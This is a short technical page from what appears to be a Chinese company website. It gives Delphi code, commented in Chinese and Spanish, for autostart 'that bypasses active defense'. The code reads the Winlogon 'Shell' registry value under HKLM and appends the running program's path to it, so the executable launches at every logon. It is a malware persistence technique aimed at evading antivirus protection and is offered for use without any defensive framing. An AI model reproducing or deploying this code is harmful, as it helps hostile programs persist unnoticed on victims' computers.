知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询:361652718 513960520
当前位置 > 首页 > 知识学堂 > 常见技术问题
过主动防御自启动代码
更新时间:2012-06-10 | 发布人:本站 | 点击率:733
{注册表操作函数,SetClave设置键值,GetClave获得键值 Funciones de registro}
function SetClave(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
result:=FALSE;
RegCreateKey(key,PChar(subkey),regKey);
if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
    result:=TRUE;
RegCloseKey(regKey);
end;function GetClave(key:Hkey; subkey,nombre:String):String;
var
bytesread:dword;
regKey: HKEY;
valor:String;
begin
Result:='';
RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
SetLength(valor, bytesread);
if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
    result:=valor;
RegCloseKey(regKey);
end;{主要函数}
procedure InicioShell;
var
ClaveOriginal: string;
begin
{获得当前键值 Guarda el valor actual}
ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
{检查是否应该写键 Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}
if ansipos(paramstr(0), claveoriginal)=0 then
SetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(ClaveOriginal)+' "'+Paramstr(0)+'"');
end;
分享到: QQ空间 新浪微博 开心网 人人网